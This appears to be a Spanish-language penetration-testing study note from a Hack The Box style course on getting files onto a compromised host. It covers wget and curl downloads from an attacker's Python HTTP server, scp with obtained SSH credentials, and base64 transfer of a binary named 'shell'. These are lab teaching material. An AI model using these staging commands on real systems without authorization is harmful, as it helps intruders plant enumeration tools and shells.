# Transfering Files

### Transferencia de Archivos Usando `wget` y `cURL`

Existen múltiples métodos para transferir archivos entre tu máquina local y un servidor remoto. Uno de los métodos más comunes implica ejecutar un servidor HTTP en Python en tu máquina local y luego utilizar herramientas como `wget` o `cURL` para descargar el archivo desde el host remoto. A continuación, se detalla cómo realizar este proceso.

**Paso 1: Configurar un Servidor HTTP en Python**

Primero, navega al directorio que contiene el archivo que deseas transferir y ejecuta un servidor HTTP utilizando Python:

```bash
# Navegar al directorio /tmp
sherlock28@htb[/htb]$ cd /tmp

# Iniciar un servidor HTTP en el puerto 8000
sherlock28@htb[/htb]$ python3 -m http.server 8000
```

Esto iniciará un servidor HTTP que escucha en todas las interfaces de red (`0.0.0.0`) en el puerto `8000`.

**Paso 2: Descargar el Archivo en el Host Remoto Usando `wget`**

Una vez que el servidor HTTP está en funcionamiento en tu máquina local, puedes descargar el archivo en el host remoto utilizando `wget`:

```bash
# En el host remoto, descargar el archivo linenum.sh desde tu máquina local
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh
```

**Notas Importantes:**

* **IP y Puerto:** Asegúrate de reemplazar `10.10.14.1` con la dirección IP de tu máquina local y verificar que el puerto `8000` esté abierto y no bloqueado por un firewall.
* **Archivo:** En este ejemplo, el archivo que se transfiere es `linenum.sh`.

**Paso 3: Descargar el Archivo Usando `cURL` (Si `wget` No Está Disponible)**

Si el host remoto no tiene `wget` instalado, puedes utilizar `cURL` para realizar la descarga:

```bash
# En el host remoto, descargar el archivo linenum.sh usando cURL
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
```

**Explicación de la Comando:**

* `curl`: Herramienta de línea de comandos para transferir datos con sintaxis de URL.
* `http://10.10.14.1:8000/linenum.sh`: URL desde donde se descarga el archivo.
* `-o linenum.sh`: Especifica el nombre del archivo de salida.

### Transferencia de Archivos con `SCP`

Otra opción para transferir archivos es utilizar `scp`, siempre que tengamos credenciales de acceso SSH en el host remoto. El proceso se realiza de la siguiente manera:

**Transferir el archivo con `scp`**

Si ya hemos obtenido las credenciales SSH del usuario en el host remoto, podemos transferir archivos usando el siguiente comando:

```bash
scp linenum.sh user@remotehost:/tmp/linenum.sh
```

Al ejecutar este comando, se solicitará la contraseña del usuario en el host remoto:

```css
user@remotehost's password: *********
```

El archivo `linenum.sh` se transferirá al directorio `/tmp/` del host remoto.

> **Nota:** Especificamos el nombre del archivo local después del comando `scp`, seguido de la ubicación en el host remoto donde se guardará, después de `:`.

### Transferencia de Archivos con Base64

En algunos casos, no podremos transferir archivos directamente, como cuando el host remoto tiene protecciones de firewall que impiden descargar archivos desde nuestra máquina. En situaciones como esta, podemos utilizar un truco simple: codificar el archivo en formato Base64, luego copiar la cadena codificada al servidor remoto y decodificarla allí. Aquí te muestro cómo hacerlo.

1. **Codificar el archivo en Base64**

   Supongamos que queremos transferir un archivo binario llamado `shell`. Primero, lo codificamos en Base64 con el siguiente comando:

   ```bash
   base64 shell -w 0
   ```

   Esto generará una cadena Base64 larga similar a esta:

   ```php-template
   f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
   ```
2. **Decodificar el archivo en el host remoto**

   Ahora, copiamos la cadena Base64 generada y la pegamos en el host remoto. Luego, utilizamos el siguiente comando para decodificarla y guardar el archivo:

   ```bash
   echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
   ```

   Este comando decodificará la cadena Base64 y generará el archivo `shell` en el host remoto.

### Validando la Transferencia de Archivos

Para asegurarnos de que un archivo se haya transferido correctamente, podemos utilizar el comando `file` para verificar su formato:

```bash
user@remotehost$ file shell
```

Este comando nos devolverá información sobre el tipo de archivo. Por ejemplo:

```yaml
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
```

Como podemos ver, al ejecutar el comando `file` sobre el archivo `shell`, se indica que es un binario ELF, lo que significa que la transferencia fue exitosa.

#### Verificación con MD5

Para asegurarnos de que el archivo no se corrompió durante el proceso de codificación y decodificación, podemos comparar su hash MD5. Primero, calculamos el hash MD5 en nuestra máquina local:

```bash
sherlock28@htb[/htb]$ md5sum shell
```

Esto generará una salida similar a esta:

```
321de1d7e7c3735838890a72c9ae7d1d shell
```

Luego, en el servidor remoto, ejecutamos el mismo comando sobre el archivo transferido:

```bash
user@remotehost$ md5sum shell
```

Deberíamos obtener el mismo hash MD5:

```
321de1d7e7c3735838890a72c9ae7d1d shell
```

Si ambos hashes coinciden, significa que el archivo se transfirió correctamente sin alteraciones.
